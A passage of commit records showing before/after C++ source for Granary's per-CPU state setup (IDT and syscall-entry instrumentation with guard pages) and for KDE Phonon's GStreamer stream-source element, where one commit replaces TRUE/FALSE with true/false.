kernel_make_page_read_only(CPU_STATES[i]->idtr.base);\n        }\n\n        kernel_run_on_each_cpu(set_percpu);\n\n        \/\/ Performed initialisation, where all CPUs are first synchronised.\n        if(should_init_sync()) {\n            kernel_run_synchronised(&init_sync);\n        }\n\n        UNUSED(flags);\n    }\n\n\n\n\n\n    \/\/\/ Note: thread_state_handle::thread_state_handle and ::init are in the\n    \/\/\/       OS-specific state.cc file.\n}\n<commit_msg>compiler error fix<commit_after>\/* Copyright 2012-2013 Peter Goodman, all rights reserved. *\/\n\/*\n * state.cc\n *\n *  Created on: 2012-11-19\n *      Author: pag\n *     Version: $Id$\n *\/\n\n#include \"granary\/globals.h\"\n#include \"granary\/state.h\"\n\nextern \"C\" {\n\n\n    \/\/\/ Get access to the CPU-private state.\n    extern granary::cpu_state **kernel_get_cpu_state(granary::cpu_state *[]);\n\n\n    \/\/\/ Used to run a function on each CPU.\n    extern void kernel_run_on_each_cpu(void (*func)(void));\n\n\n    \/\/\/ Call a function where all CPUs are synchronised.\n    void kernel_run_synchronised(void (*func)(void));\n\n\n    \/\/\/ Mark a page as being only readable.\n    void kernel_make_page_read_only(void *addr);\n}\n\n\nnamespace granary {\n\n\n    enum {\n        MAX_NUM_CPUS = 256\n    };\n\n\n    \/\/\/ Manually manage our own per-cpu state.\n    cpu_state *CPU_STATES[MAX_NUM_CPUS] = {nullptr};\n\n\n#if CONFIG_CHECK_CPU_ACCESS_SAFE\n    \/\/\/ Check that it's safe to access CPU-private state.\n    __attribute__((noinline))\n    void check_cpu_access_safety(void) {\n        const eflags flags = granary_load_flags();\n        if(flags.interrupt) {\n            granary_break_on_curiosity();\n        }\n    }\n#endif\n\n\n    extern \"C\" uint64_t *granary_get_private_stack_top(void)\n    {\n#if CONFIG_CHECK_CPU_ACCESS_SAFE\n        check_cpu_access_safety();\n#endif\n        return (uint64_t *) &((*kernel_get_cpu_state(CPU_STATES))->percpu_stack.top);\n    }\n\n    namespace detail {\n        struct dummy_thread_state : public client::thread_state {\n            uint64_t dummy_val;\n        };\n    }\n\n\n    \/\/\/ Figure out the size of the CPU state.\n    enum {\n        DUMMY_THREAD_STATE_SIZE = sizeof(detail::dummy_thread_state),\n        ALIGNED_THREAD_STATE_SIZE = sizeof(granary::thread_state)\n                                  + ALIGN_TO(sizeof(granary::thread_state), 8),\n        THREAD_STATE_SIZE = (sizeof(uint64_t) == DUMMY_THREAD_STATE_SIZE)\n                          ? 0\n                          : ALIGNED_THREAD_STATE_SIZE\n    };\n\n\n    \/\/\/ Gets a handle to the current CPU state.\n    cpu_state_handle::cpu_state_handle(void) throw()\n        : state(*kernel_get_cpu_state(CPU_STATES))\n    { }\n\n\n    \/\/\/ Represents CPU state that is actually allocated and has two poisoned\n    \/\/\/ pages around it.\n    struct poison {\n        char poison[PAGE_SIZE];\n    } __attribute__((packed, aligned(CONFIG_MEMORY_PAGE_SIZE)));\n\n\n    struct poisoned_cpu_state {\n        poison before;\n        cpu_state state;\n        poison after;\n    } __attribute__((aligned(CONFIG_MEMORY_PAGE_SIZE)));\n\n\n    struct unaligned_cpu_state {\n        char mem[sizeof(poisoned_cpu_state) + CONFIG_MEMORY_PAGE_SIZE];\n    };\n\n\n    \/\/\/ Allocate and initialise state for each CPU.\n    static void alloc_cpu_state(void) {\n        cpu_state **state_ptr(kernel_get_cpu_state(CPU_STATES));\n        unaligned_cpu_state *unaligned_state_ptr(\n            allocate_memory<unaligned_cpu_state>());\n        uintptr_t state_addr(reinterpret_cast<uintptr_t>(unaligned_state_ptr));\n        poisoned_cpu_state *poisoned_state(unsafe_cast<poisoned_cpu_state *>(\n            state_addr + ALIGN_TO(state_addr, CONFIG_MEMORY_PAGE_SIZE)));\n\n        *state_ptr = &(poisoned_state->state);\n\n#if CONFIG_HANDLE_INTERRUPTS || CONFIG_INSTRUMENT_HOST\n        \/\/ Get a copy of the native IDTR.\n        get_idtr(&(poisoned_state->state.native_idtr));\n#endif\n\n#if CONFIG_INSTRUMENT_HOST\n        \/\/\/ Get a copy of the native MSR_LSTAR model-specific register.\n        poisoned_state->state.native_msr_lstar = get_msr(MSR_LSTAR);\n#endif\n    }\n\n\n    \/\/\/ Initialise the CPU state.\n    void cpu_state::init_early(void) throw() {\n        kernel_run_on_each_cpu(alloc_cpu_state);\n    }\n\n\n    \/\/\/ Initialise the IDTR and MSR_LSTAR for each CPU.\n    static void set_percpu(void) {\n        cpu_state_handle cpu;\n\n#if CONFIG_HANDLE_INTERRUPTS || CONFIG_INSTRUMENT_HOST\n        set_idtr(&(cpu->idtr));\n#endif\n\n#if CONFIG_INSTRUMENT_HOST\n        set_msr(MSR_LSTAR, cpu->msr_lstar);\n#endif\n\n        UNUSED(cpu);\n    }\n\n\n    void cpu_state::init_late(void) throw() {\n        eflags flags;\n\n        enum {\n            NEG_OFFSET = offsetof(poisoned_cpu_state, state),\n            POS_OFFSET = offsetof(poisoned_cpu_state, after) - NEG_OFFSET\n        };\n\n        for(unsigned i(0); i < MAX_NUM_CPUS; ++i) {\n\n            if(!CPU_STATES[i]) {\n                continue;\n            }\n\n            \/\/ Page protect the poisoned pages around the CPU state.\n            kernel_make_page_read_only(\n                unsafe_cast<char *>(CPU_STATES[i]) - NEG_OFFSET);\n            kernel_make_page_read_only(\n                unsafe_cast<char *>(CPU_STATES[i]) + POS_OFFSET);\n\n#if CONFIG_HANDLE_INTERRUPTS || CONFIG_INSTRUMENT_HOST\n#   if CONFIG_ENABLE_INTERRUPT_DELAY\n            \/\/ Allocate space for interrupt delay handlers.\n            CPU_STATES[i]->interrupt_delay_handler = reinterpret_cast<app_pc>(\n                global_state::FRAGMENT_ALLOCATOR-> \\\n                    allocate_untyped(16, INTERRUPT_DELAY_CODE_SIZE));\n#   endif\n            \/\/ Create this CPUs IDT and vector entry points.\n            flags = granary_disable_interrupts();\n            {\n                cpu_state_handle cpu;\n                cpu.free_transient_allocators();\n                CPU_STATES[i]->idtr = create_idt(CPU_STATES[i]->native_idtr);\n            }\n            granary_store_flags(flags);\n#endif\n#if CONFIG_INSTRUMENT_HOST\n            \/\/ Create this CPUs SYSCALL entry point.\n            flags = granary_disable_interrupts();\n            {\n                cpu_state_handle cpu;\n                cpu.free_transient_allocators();\n                CPU_STATES[i]->msr_lstar = create_syscall_entrypoint(\n                    CPU_STATES[i]->native_msr_lstar);\n            }\n            granary_store_flags(flags);\n#endif\n\n            \/\/ Page protect the IDTs.\n            kernel_make_page_read_only(CPU_STATES[i]->idtr.base);\n        }\n\n        kernel_run_on_each_cpu(set_percpu);\n\n        \/\/ Performed initialisation, where all CPUs are first synchronised.\n        if(should_init_sync()) {\n            kernel_run_synchronised(&init_sync);\n        }\n\n        UNUSED(flags);\n    }\n\n\n\n\n\n    \/\/\/ Note: thread_state_handle::thread_state_handle and ::init are in the\n    \/\/\/       OS-specific state.cc file.\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*  This file is part of the KDE project.\n\n    Copyright (C) 2010-2011 Harald Sitter <sitter@kde.org>\n    Copyright (C) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n\n    This library is free software: you can redistribute it and\/or modify\n    it under the terms of the GNU Lesser General Public License as published by\n    the Free Software Foundation, either version 2.1 or 3 of the License.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Lesser General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public License\n    along with this library.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include \"phononsrc.h\"\n\n#include \"streamreader.h\"\n\nQT_BEGIN_NAMESPACE\n\nnamespace Phonon\n{\nnamespace Gstreamer\n{\n\nstatic GstStaticPadTemplate srctemplate =\n       GST_STATIC_PAD_TEMPLATE (\"src\",\n                                GST_PAD_SRC,\n                                GST_PAD_ALWAYS,\n                                GST_STATIC_CAPS_ANY);\n\nGST_DEBUG_CATEGORY_STATIC (phonon_src_debug);\n\n\/\/ PhononSrc args\nenum\n{\n    ARG_0,\n    ARG_PHONONSRC\n};\n\nstatic void phonon_src_finalize(GObject *object);\n\nstatic void phonon_src_set_property(GObject *object, guint prop_id,\n                                    const GValue *value, GParamSpec *pspec);\nstatic void phonon_src_get_property(GObject *object, guint prop_id,\n                                    GValue *value, GParamSpec *pspec);\n\nstatic gboolean phonon_src_start(GstBaseSrc *basesrc);\nstatic gboolean phonon_src_stop(GstBaseSrc *basesrc);\n\nstatic gboolean phonon_src_unlock(GstBaseSrc *basesrc);\nstatic gboolean phonon_src_unlock_stop(GstBaseSrc *basesrc);\n\nstatic gboolean phonon_src_is_seekable(GstBaseSrc *src);\nstatic gboolean phonon_src_get_size(GstBaseSrc *src, guint64 *size);\nstatic GstFlowReturn phonon_src_create(GstBaseSrc *src, guint64 offset,\n                                       guint length, GstBuffer **buffer);\n\nstatic gboolean register_elements(GstPlugin *plugin)\n{\n    if (!gst_element_register(plugin, \"phononsrc\", GST_RANK_NONE, GST_TYPE_PHONON_SRC))\n        return FALSE;\n    return TRUE;\n}\n\ngboolean register_phonon_elements()\n{\n    gst_plugin_register_static(\n        GST_VERSION_MAJOR,\n        GST_VERSION_MINOR,\n        \"phonon-plugins\",\n        \"Private elements of Phonon\",\n        register_elements,\n        PHONON_VERSION_STR,\n        \"LGPL\",\n        \"phonon\",\n        \"phonon\",\n        \"http:\/\/phonon.kde.org\");\n    return TRUE;\n}\n\nstatic void _do_init(GType filesrc_type)\n{\n    Q_UNUSED(filesrc_type);\n    GST_DEBUG_CATEGORY_INIT (phonon_src_debug, \"phononsrc\", 0, \"QIODevice element\");\n}\n\nGST_BOILERPLATE_FULL(PhononSrc, phonon_src, GstBaseSrc, GST_TYPE_BASE_SRC, _do_init)\n\n\/\/ Register element details\nstatic void phonon_src_base_init(gpointer g_class) {\n    GstElementClass *gstelement_class = GST_ELEMENT_CLASS (g_class);\n    static gchar longname[] = \"Phonon Stream Source\",\n                    klass[] = \"Source\/File\",\n              description[] = \"Read from a Phonon StreamInterface\",\n                   author[] = \"Nokia Corporation and\/or its subsidiary(-ies) <qt-info@nokia.com>\";\n    GstElementDetails details = GST_ELEMENT_DETAILS (longname,\n                                          klass,\n                                          description,\n                                          author);\n    gst_element_class_set_details(gstelement_class, &details);\n    gst_element_class_add_pad_template(gstelement_class, gst_static_pad_template_get(&srctemplate));\n}\n\nstatic void phonon_src_class_init (PhononSrcClass *klass)\n{\n    GObjectClass *gobject_class;\n    GstElementClass *gstelement_class;\n    GstBaseSrcClass *gstbasesrc_class;\n\n    gobject_class = G_OBJECT_CLASS(klass);\n    gstelement_class = GST_ELEMENT_CLASS(klass);\n    gstbasesrc_class = GST_BASE_SRC_CLASS(klass);\n\n    gobject_class->set_property = phonon_src_set_property;\n    gobject_class->get_property = phonon_src_get_property;\n\n    g_object_class_install_property(gobject_class, ARG_PHONONSRC,\n                                    g_param_spec_pointer (\"iodevice\", \"A Phonon StreamReader\",\n                                                          \"A Phonon::GStreamer::StreamReader to read from\", GParamFlags(G_PARAM_READWRITE)));\n\n    gobject_class->finalize = GST_DEBUG_FUNCPTR(phonon_src_finalize);\n\n    gstbasesrc_class->start = GST_DEBUG_FUNCPTR(phonon_src_start);\n    gstbasesrc_class->stop = GST_DEBUG_FUNCPTR(phonon_src_stop);\n    gstbasesrc_class->unlock = GST_DEBUG_FUNCPTR(phonon_src_unlock);\n    gstbasesrc_class->unlock_stop = GST_DEBUG_FUNCPTR(phonon_src_unlock_stop);\n    gstbasesrc_class->is_seekable = GST_DEBUG_FUNCPTR(phonon_src_is_seekable);\n    gstbasesrc_class->get_size = GST_DEBUG_FUNCPTR(phonon_src_get_size);\n    gstbasesrc_class->create = GST_DEBUG_FUNCPTR(phonon_src_create);\n}\n\nstatic void phonon_src_init(PhononSrc *src, PhononSrcClass *g_class)\n{\n    Q_UNUSED(g_class);\n#ifndef QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    src->device = 0;\n#endif\n}\n\nstatic void phonon_src_finalize(GObject *object)\n{\n#ifndef QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    PhononSrc *src;\n    src = GST_PHONON_SRC(object);\n    delete src->device;\n    src->device = 0;\n#endif \/\/ QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    G_OBJECT_CLASS (parent_class)->finalize(object);\n}\n\n#ifndef QT_NO_PHONON_ABSTRACTMEDIASTREAM\nstatic gboolean phonon_src_set_device(PhononSrc *src, StreamReader *device)\n{\n    GstState state;\n    \/\/ The element must be stopped in order to do this\n    GST_OBJECT_LOCK(src);\n    state = GST_STATE(src);\n\n    if (state != GST_STATE_READY && state != GST_STATE_NULL)\n        goto wrong_state;\n\n    GST_OBJECT_UNLOCK(src);\n\n    src->device = device;\n    g_object_notify(G_OBJECT (src), \"iodevice\");\n    return TRUE;\n\n    \/\/ Error\nwrong_state:\n    {\n        \/\/GST_DEBUG_OBJECT (src, \"setting location in wrong state\");\n        GST_OBJECT_UNLOCK (src);\n        return FALSE;\n    }\n}\n#endif \/\/QT_NO_PHONON_ABSTRACTMEDIASTREAM\n\nstatic void phonon_src_set_property(GObject *object, guint prop_id, const GValue *value,\n                                    GParamSpec *pspec)\n{\n    PhononSrc *src;\n    g_return_if_fail(GST_IS_PHONON_SRC(object));\n    src = GST_PHONON_SRC(object);\n\n    switch (prop_id) {\n#ifndef QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    case ARG_PHONONSRC:\n    {\n        StreamReader *dev = (StreamReader*)(g_value_get_pointer(value));\n        if (dev)\n            phonon_src_set_device(src, dev);\n        break;\n    }\n#endif \/\/QT_NO_PHONON_ABSTRACTMEDIASTREAM\n   default:\n       G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec);\n       break;\n   }\n}\n\nstatic void phonon_src_get_property(GObject *object, guint prop_id, GValue *value,\n                                    GParamSpec *pspec)\n{\n    PhononSrc *src;\n    g_return_if_fail (GST_IS_PHONON_SRC (object));\n    src = GST_PHONON_SRC (object);\n\n    switch (prop_id) {\n#ifndef QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    case ARG_PHONONSRC:\n        g_value_set_pointer(value, src->device);\n        break;\n#endif \/\/ QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    default:\n        G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec);\n        break;\n    }\n}\n\nstatic GstFlowReturn phonon_src_create_read(PhononSrc *src, guint64 offset, guint length,\n                                            GstBuffer **buffer)\n{\n#ifndef QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    Q_ASSERT(src->device);\n    if (!src->device)\n        return GST_FLOW_ERROR;\n\n    GstBuffer *buf = gst_buffer_new_and_alloc (length);\n    GST_BUFFER_SIZE (buf) = length;\n    GST_BUFFER_OFFSET (buf) = offset;\n    GST_BUFFER_OFFSET_END (buf) = offset + length;\n\n    GstFlowReturn ret = src->device->read(offset, length, (char*)GST_BUFFER_DATA (buf));\n\/\/    GST_LOG_OBJECT (src, \"Reading %d bytes\", length);\n\n    if (ret == GST_FLOW_OK) {\n        *buffer = buf;\n        return ret;\n    } else if (ret == GST_FLOW_UNEXPECTED) {\n        return ret;\n    }\n\n    gst_mini_object_unref(GST_MINI_OBJECT(buf));\n    return GST_FLOW_ERROR;\n#endif \/\/ QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    return GST_FLOW_ERROR;\n}\n\nstatic GstFlowReturn phonon_src_create(GstBaseSrc *basesrc, guint64 offset, guint length, GstBuffer **buffer)\n{\n    PhononSrc *src = GST_PHONON_SRC (basesrc);\n    return phonon_src_create_read (src, offset, length, buffer);\n}\n\nstatic gboolean phonon_src_is_seekable(GstBaseSrc *basesrc)\n{\n    PhononSrc *src = GST_PHONON_SRC(basesrc);\n#ifndef QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    if (src->device)\n        return src->device->streamSeekable();\n#endif \/\/ QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    return false;\n}\n\nstatic gboolean phonon_src_get_size(GstBaseSrc *basesrc, guint64 *size)\n{\n#ifndef QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    PhononSrc *src = GST_PHONON_SRC(basesrc);\n    if (src->device && src->device->streamSeekable()) {\n        *size = src->device->streamSize();\n        return true;\n    }\n#endif \/\/ QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    *size = 0;\n    return false;\n}\n\nstatic gboolean phonon_src_unlock(GstBaseSrc *basesrc)\n{\n#ifndef QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    PhononSrc *src = GST_PHONON_SRC(basesrc);\n    src->device->unlock();\n    return true;\n#endif \/\/ QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    return false;\n}\n\nstatic gboolean phonon_src_unlock_stop(GstBaseSrc *basesrc)\n{\n    Q_UNUSED(basesrc);\n#ifndef QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    \/\/ Resource locking and unlocking happens onthefly, unlock just wakes our\n    \/\/ QWaitConditions.\n    return true;\n#endif \/\/ QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    return false;\n}\n\n\/\/ Necessary to go to READY state\nstatic gboolean phonon_src_start(GstBaseSrc *basesrc)\n{\n#ifndef QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    \/\/ Opening the device is handled by the frontend, still we need to make sure\n    \/\/ that the streamer is in initial state WRT member variables etc.\n    PhononSrc *src = GST_PHONON_SRC(basesrc);\n    src->device->start();\n    return true;\n#endif \/\/ QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    return false;\n}\n\nstatic gboolean phonon_src_stop(GstBaseSrc *basesrc)\n{\n#ifndef QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    \/\/ Closing the device is handled by the frontend, we just need to ensure\n    \/\/ the reader is unlocked and send a final enoughData.\n    PhononSrc *src = GST_PHONON_SRC(basesrc);\n    src->device->stop();\n    return TRUE;\n#endif \/\/ QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    return false;\n}\n\n}\n} \/\/namespace Phonon::Gstreamer\n\nQT_END_NAMESPACE\n<commit_msg>if you write a cpp gst sink, thenat least use bools :S<commit_after>\/*  This file is part of the KDE project.\n\n    Copyright (C) 2010-2011 Harald Sitter <sitter@kde.org>\n    Copyright (C) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n\n    This library is free software: you can redistribute it and\/or modify\n    it under the terms of the GNU Lesser General Public License as published by\n    the Free Software Foundation, either version 2.1 or 3 of the License.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Lesser General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public License\n    along with this library.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include \"phononsrc.h\"\n\n#include \"streamreader.h\"\n\nQT_BEGIN_NAMESPACE\n\nnamespace Phonon\n{\nnamespace Gstreamer\n{\n\nstatic GstStaticPadTemplate srctemplate =\n       GST_STATIC_PAD_TEMPLATE (\"src\",\n                                GST_PAD_SRC,\n                                GST_PAD_ALWAYS,\n                                GST_STATIC_CAPS_ANY);\n\nGST_DEBUG_CATEGORY_STATIC (phonon_src_debug);\n\n\/\/ PhononSrc args\nenum\n{\n    ARG_0,\n    ARG_PHONONSRC\n};\n\nstatic void phonon_src_finalize(GObject *object);\n\nstatic void phonon_src_set_property(GObject *object, guint prop_id,\n                                    const GValue *value, GParamSpec *pspec);\nstatic void phonon_src_get_property(GObject *object, guint prop_id,\n                                    GValue *value, GParamSpec *pspec);\n\nstatic gboolean phonon_src_start(GstBaseSrc *basesrc);\nstatic gboolean phonon_src_stop(GstBaseSrc *basesrc);\n\nstatic gboolean phonon_src_unlock(GstBaseSrc *basesrc);\nstatic gboolean phonon_src_unlock_stop(GstBaseSrc *basesrc);\n\nstatic gboolean phonon_src_is_seekable(GstBaseSrc *src);\nstatic gboolean phonon_src_get_size(GstBaseSrc *src, guint64 *size);\nstatic GstFlowReturn phonon_src_create(GstBaseSrc *src, guint64 offset,\n                                       guint length, GstBuffer **buffer);\n\nstatic gboolean register_elements(GstPlugin *plugin)\n{\n    if (!gst_element_register(plugin, \"phononsrc\", GST_RANK_NONE, GST_TYPE_PHONON_SRC))\n        return false;\n    return true;\n}\n\ngboolean register_phonon_elements()\n{\n    gst_plugin_register_static(\n        GST_VERSION_MAJOR,\n        GST_VERSION_MINOR,\n        \"phonon-plugins\",\n        \"Private elements of Phonon\",\n        register_elements,\n        PHONON_VERSION_STR,\n        \"LGPL\",\n        \"phonon\",\n        \"phonon\",\n        \"http:\/\/phonon.kde.org\");\n    return true;\n}\n\nstatic void _do_init(GType filesrc_type)\n{\n    Q_UNUSED(filesrc_type);\n    GST_DEBUG_CATEGORY_INIT (phonon_src_debug, \"phononsrc\", 0, \"QIODevice element\");\n}\n\nGST_BOILERPLATE_FULL(PhononSrc, phonon_src, GstBaseSrc, GST_TYPE_BASE_SRC, _do_init)\n\n\/\/ Register element details\nstatic void phonon_src_base_init(gpointer g_class) {\n    GstElementClass *gstelement_class = GST_ELEMENT_CLASS (g_class);\n    static gchar longname[] = \"Phonon Stream Source\",\n                    klass[] = \"Source\/File\",\n              description[] = \"Read from a Phonon StreamInterface\",\n                   author[] = \"Nokia Corporation and\/or its subsidiary(-ies) <qt-info@nokia.com>\";\n    GstElementDetails details = GST_ELEMENT_DETAILS (longname,\n                                          klass,\n                                          description,\n                                          author);\n    gst_element_class_set_details(gstelement_class, &details);\n    gst_element_class_add_pad_template(gstelement_class, gst_static_pad_template_get(&srctemplate));\n}\n\nstatic void phonon_src_class_init (PhononSrcClass *klass)\n{\n    GObjectClass *gobject_class;\n    GstElementClass *gstelement_class;\n    GstBaseSrcClass *gstbasesrc_class;\n\n    gobject_class = G_OBJECT_CLASS(klass);\n    gstelement_class = GST_ELEMENT_CLASS(klass);\n    gstbasesrc_class = GST_BASE_SRC_CLASS(klass);\n\n    gobject_class->set_property = phonon_src_set_property;\n    gobject_class->get_property = phonon_src_get_property;\n\n    g_object_class_install_property(gobject_class, ARG_PHONONSRC,\n                                    g_param_spec_pointer (\"iodevice\", \"A Phonon StreamReader\",\n                                                          \"A Phonon::GStreamer::StreamReader to read from\", GParamFlags(G_PARAM_READWRITE)));\n\n    gobject_class->finalize = GST_DEBUG_FUNCPTR(phonon_src_finalize);\n\n    gstbasesrc_class->start = GST_DEBUG_FUNCPTR(phonon_src_start);\n    gstbasesrc_class->stop = GST_DEBUG_FUNCPTR(phonon_src_stop);\n    gstbasesrc_class->unlock = GST_DEBUG_FUNCPTR(phonon_src_unlock);\n    gstbasesrc_class->unlock_stop = GST_DEBUG_FUNCPTR(phonon_src_unlock_stop);\n    gstbasesrc_class->is_seekable = GST_DEBUG_FUNCPTR(phonon_src_is_seekable);\n    gstbasesrc_class->get_size = GST_DEBUG_FUNCPTR(phonon_src_get_size);\n    gstbasesrc_class->create = GST_DEBUG_FUNCPTR(phonon_src_create);\n}\n\nstatic void phonon_src_init(PhononSrc *src, PhononSrcClass *g_class)\n{\n    Q_UNUSED(g_class);\n#ifndef QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    src->device = 0;\n#endif\n}\n\nstatic void phonon_src_finalize(GObject *object)\n{\n#ifndef QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    PhononSrc *src;\n    src = GST_PHONON_SRC(object);\n    delete src->device;\n    src->device = 0;\n#endif \/\/ QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    G_OBJECT_CLASS (parent_class)->finalize(object);\n}\n\n#ifndef QT_NO_PHONON_ABSTRACTMEDIASTREAM\nstatic gboolean phonon_src_set_device(PhononSrc *src, StreamReader *device)\n{\n    GstState state;\n    \/\/ The element must be stopped in order to do this\n    GST_OBJECT_LOCK(src);\n    state = GST_STATE(src);\n\n    if (state != GST_STATE_READY && state != GST_STATE_NULL)\n        goto wrong_state;\n\n    GST_OBJECT_UNLOCK(src);\n\n    src->device = device;\n    g_object_notify(G_OBJECT (src), \"iodevice\");\n    return true;\n\n    \/\/ Error\nwrong_state:\n    {\n        \/\/GST_DEBUG_OBJECT (src, \"setting location in wrong state\");\n        GST_OBJECT_UNLOCK (src);\n        return false;\n    }\n}\n#endif \/\/QT_NO_PHONON_ABSTRACTMEDIASTREAM\n\nstatic void phonon_src_set_property(GObject *object, guint prop_id, const GValue *value,\n                                    GParamSpec *pspec)\n{\n    PhononSrc *src;\n    g_return_if_fail(GST_IS_PHONON_SRC(object));\n    src = GST_PHONON_SRC(object);\n\n    switch (prop_id) {\n#ifndef QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    case ARG_PHONONSRC:\n    {\n        StreamReader *dev = (StreamReader*)(g_value_get_pointer(value));\n        if (dev)\n            phonon_src_set_device(src, dev);\n        break;\n    }\n#endif \/\/QT_NO_PHONON_ABSTRACTMEDIASTREAM\n   default:\n       G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec);\n       break;\n   }\n}\n\nstatic void phonon_src_get_property(GObject *object, guint prop_id, GValue *value,\n                                    GParamSpec *pspec)\n{\n    PhononSrc *src;\n    g_return_if_fail (GST_IS_PHONON_SRC (object));\n    src = GST_PHONON_SRC (object);\n\n    switch (prop_id) {\n#ifndef QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    case ARG_PHONONSRC:\n        g_value_set_pointer(value, src->device);\n        break;\n#endif \/\/ QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    default:\n        G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec);\n        break;\n    }\n}\n\nstatic GstFlowReturn phonon_src_create_read(PhononSrc *src, guint64 offset, guint length,\n                                            GstBuffer **buffer)\n{\n#ifndef QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    Q_ASSERT(src->device);\n    if (!src->device)\n        return GST_FLOW_ERROR;\n\n    GstBuffer *buf = gst_buffer_new_and_alloc (length);\n    GST_BUFFER_SIZE (buf) = length;\n    GST_BUFFER_OFFSET (buf) = offset;\n    GST_BUFFER_OFFSET_END (buf) = offset + length;\n\n    GstFlowReturn ret = src->device->read(offset, length, (char*)GST_BUFFER_DATA (buf));\n\/\/    GST_LOG_OBJECT (src, \"Reading %d bytes\", length);\n\n    if (ret == GST_FLOW_OK) {\n        *buffer = buf;\n        return ret;\n    } else if (ret == GST_FLOW_UNEXPECTED) {\n        return ret;\n    }\n\n    gst_mini_object_unref(GST_MINI_OBJECT(buf));\n    return GST_FLOW_ERROR;\n#endif \/\/ QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    return GST_FLOW_ERROR;\n}\n\nstatic GstFlowReturn phonon_src_create(GstBaseSrc *basesrc, guint64 offset, guint length, GstBuffer **buffer)\n{\n    PhononSrc *src = GST_PHONON_SRC (basesrc);\n    return phonon_src_create_read (src, offset, length, buffer);\n}\n\nstatic gboolean phonon_src_is_seekable(GstBaseSrc *basesrc)\n{\n    PhononSrc *src = GST_PHONON_SRC(basesrc);\n#ifndef QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    if (src->device)\n        return src->device->streamSeekable();\n#endif \/\/ QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    return false;\n}\n\nstatic gboolean phonon_src_get_size(GstBaseSrc *basesrc, guint64 *size)\n{\n#ifndef QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    PhononSrc *src = GST_PHONON_SRC(basesrc);\n    if (src->device && src->device->streamSeekable()) {\n        *size = src->device->streamSize();\n        return true;\n    }\n#endif \/\/ QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    *size = 0;\n    return false;\n}\n\nstatic gboolean phonon_src_unlock(GstBaseSrc *basesrc)\n{\n#ifndef QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    PhononSrc *src = GST_PHONON_SRC(basesrc);\n    src->device->unlock();\n    return true;\n#endif \/\/ QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    return false;\n}\n\nstatic gboolean phonon_src_unlock_stop(GstBaseSrc *basesrc)\n{\n    Q_UNUSED(basesrc);\n#ifndef QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    \/\/ Resource locking and unlocking happens onthefly, unlock just wakes our\n    \/\/ QWaitConditions.\n    return true;\n#endif \/\/ QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    return false;\n}\n\n\/\/ Necessary to go to READY state\nstatic gboolean phonon_src_start(GstBaseSrc *basesrc)\n{\n#ifndef QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    \/\/ Opening the device is handled by the frontend, still we need to make sure\n    \/\/ that the streamer is in initial state WRT member variables etc.\n    PhononSrc *src = GST_PHONON_SRC(basesrc);\n    src->device->start();\n    return true;\n#endif \/\/ QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    return false;\n}\n\nstatic gboolean phonon_src_stop(GstBaseSrc *basesrc)\n{\n#ifndef QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    \/\/ Closing the device is handled by the frontend, we just need to ensure\n    \/\/ the reader is unlocked and send a final enoughData.\n    PhononSrc *src = GST_PHONON_SRC(basesrc);\n    src->device->stop();\n    return true;\n#endif \/\/ QT_NO_PHONON_ABSTRACTMEDIASTREAM\n    return false;\n}\n\n}\n} \/\/namespace Phonon::Gstreamer\n\nQT_END_NAMESPACE\n<|endoftext|>"}
